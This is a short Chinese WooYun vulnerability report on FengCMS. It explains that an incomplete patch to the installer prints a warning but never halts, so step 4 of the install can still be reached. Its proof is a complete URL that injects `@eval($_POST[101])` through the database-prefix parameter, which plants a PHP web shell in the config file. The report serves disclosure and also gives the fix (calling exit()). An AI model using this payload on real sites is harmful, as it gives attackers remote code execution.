WooYun-2014-76648:FengCMS 修复不当导致getshell

漏洞作者: xiaoL

来源:http://www.wooyun.org/bugs/wooyun-2014-076648

简要描述

FengCMS 修复不当导致getshell,属于修复不当,跟其他的没重复了- -,对审核同学造成的不便深感歉意。

详细说明

之前提交过一次跟http://**.**.**.**/bugs/wooyun-2014-067508

漏洞重复了。现在重新看一下。发现修复的有问题,而且install目录默认是不会自动删除的,依然可以getshell!

header("Content-type:text/html;charset=utf-8");

define("TPL_INCLUDE",1);

// 定义当前路径

define('ABS_PATH',dirname(__FILE__));

define('ROOT_PATH',dirname(ABS_PATH));

if(!$_GET['step'])$_GET['step']=1;

$config_file=ROOT_PATH.'/config.php';

$install_file=ABS_PATH.'/install.sql';

//这里是修改添加的代码,由于是输出javascript,所以可以无视掉

if(file_exists(ROOT_PATH.'/upload/INSTALL')){

  echo '<script type="text/javascript">alert("系统已安装,如需要重新安装,请手工删除upload目录下的INSTALL文件!");</script>';

  echo '<meta http-equiv="refresh" content="0;url=/">';

}

所以直接进行setp = 4 的步骤,其中只有DB_PREFIX字段不影响,可以用来getshell。

漏洞证明

直接访问URL:

.../install/index.php?host=localhost&user=root&password=root&dbname=hello&prefix=f_');@eval($_POST[101]);('&url_type=1&step=4

修复方案

echo 完了

exit()一下